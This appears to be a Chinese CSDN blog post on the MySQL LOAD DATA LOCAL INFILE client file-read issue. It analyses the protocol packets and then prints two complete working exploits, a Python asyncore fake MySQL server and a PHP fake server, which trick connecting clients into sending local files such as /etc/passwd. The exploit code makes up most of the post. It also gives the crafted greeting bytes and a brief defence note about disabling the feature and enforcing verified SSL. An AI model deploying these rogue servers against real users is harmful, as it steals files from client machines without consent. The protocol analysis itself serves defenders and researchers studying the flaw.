MySQL客户端任意文件读取

本文详细介绍了MySQL的LOADDATAINFILE语句导致的安全问题,该问题允许伪造的MySQL服务器读取客户端的本地文件。通过分析数据包交换过程,展示了如何在不使用SSL的情况下,构造特定的数据包来读取客户端文件。同时,提供了一个Python EXP示例和PHP EXP示例来演示这种攻击。防御措施包括禁用LOADDATAINFILE和使用安全的SSL连接。
摘要由CSDN通过智能技术生成

简介

我们通过伪造一个MySQL服务端,当有用户链接我们这个服务端的时候,我们可以尝试通过MySQL的load data local infile语句来读取客服端文件,在溯源反制这一块比较有用…

LOAD DATA INFILE

出现可以读取客户端文件的这个问题的原因主要是出在LOAD DATA INFILE这个sql语句上,这个语句主要是用于读取一个文件的内容并且放到一个表中。
通常有两种用法,分别是:

load data infile "/server/etc/passwd" into table TestTable;
load data local infile "/client/etc/passwd" into table TestTable;

第一个SQL语句是将服务端/server/etc/passwd文件保存到TestTable表里面去; 而第二个SQL语句则是将客户端/client/etc/passwd文件保存到TestTable表里面去,官方文档可以参考…
MySQL官方文档也是指出这一个安全问题:
1
所以我们可以来伪造MySQL服务端来实现读取客户端文件的功能…

分析

服务端IP: 192.168.56.101
客户端IP: 192.168.56.1
要分析具体的实现过程,我们需要先抓取MySQL登录以及执行sql语句的数据包然后来分析;
如果我们直接用Wireshark通过tcp.port == 3306来抓取的话,我们会发现数据包都被加密了。走的是SSL通信:
2

我们只能看到最初的两条MySQL包,所以我们需要先关闭客户端的SSL。在配置文件/etc/mysql/mysql.conf.d/mysqld.cnf中加入:

[mysql]
skip_ssl

3

然后重新连接MySQL服务端抓包,然后执行LOAD DATA INFILE语句:

Greeting数据包
4
这部分是服务端发给客户端的,主要包含服务端的基本信息等;

登录请求数据包

6
这部分是客户端发给服务端的,其中包含了用户名和密码等信息,如果服务端验证成功的话,回返回一个Response OK的数据包,此时登录验证完成:
7

客户端的初始化查询等数据包

8

LOAD DATA INFILE数据包

现在我们就在看最重要的数据包:
LOAD DATA INFILE
当客户端发起这个读取本地文件并写到表proc中的请求时,服务器会返回一个Response TABULAR的数据包:
Response TABULAR
这个数据包包含了要读取的文件的文件名,协议格式可以参考https://dev.mysql.com/doc/internals/en/com-query-response.html:
协议
然后,客户端会根据这个数据包,读取文件并将文件内容返回到服务端:
passwd
总体正常过程如下:

客户端:我需要把我本地/etc/passwd文件的内容写到表proc中去!

服务端:读取你本地/etc/passwd文件并发给我,我来将内容写到表proc中去!

客户端:这是文件/etc/passwd的内容:root:/bin......

但是非正常过程可能如下:

客户端:我需要把我本地sir.txt文件的内容写到表proc中去!

服务端:读取你本地/etc/passwd文件并发给我,我来将内容写到表proc中去!

客户端:这是文件/etc/passwd内容:root:/bin......

即我们可以读到任意文件。

Exploit

最重要的是我们可以读任意文件的关键在于,我们不需要接受到客户端的LOAD DATA INFILE请求的时候才回复Response TABULAR,而是在任何请求时回复一个Response TABULAR都可以实现。
所以我们的EXP可以分为这样的一个步骤:

  1. 向客户端发送Greeting数据包
  2. 客户端发送登录请求时,回复Response OK的数据包
  3. 客户端发送查询请求时,回复Response TABULAR数据包进行读文件

我们需要构造Greeting数据包,重点是需要禁止SSL,否则会出现ERROR 2026 (HY000): SSL connection error: protocol version mismatch等问题:
payload

'\x0a', # Protocol
'5.7.34-0ubuntu0.18.04.1' + '\0', # server Version
'\x36\x00\x00\x00', # connection ID
'ABCDABCD' + '\0', # Salt
'\xff\xf7', # Capabilities, CLOSE SSL HERE!
'\x08', # Collation
'\x02\x00', # Server Status
"\x0f\x80\x15",
'\0' * 10, # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"

Response OK数据包的格式为:
Response OK

Response TABULAR数据包的格式为:
Response TABULAR
第一个字节是读取的文件的长度加1,即strlen(filename) + 1,然后长度后面的三个字节\x00\x00\x01是数据包的序号,最后是’\xfb’ + 文件名字。

EXP

exp.py:

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
    '/etc/passwd',
    # '/home/sir/sir.txt',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '5.6.28-0ubuntu0.14.04.1' + '\0',
                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                ))            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

exp.php:

<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3306");

while (true) {
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:3306\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}

总结

要防御这种攻击,我们只客户端要避免使用LOAD DATA INFILE来读取本地文件,同时我们应该使用–ssl-mode=VERIFY_IDENTITY来建立可信的连接…

参考资料:

https://xz.aliyun.com/t/3973

https://blog.csdn.net/qq_42799562/article/details/112966217

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值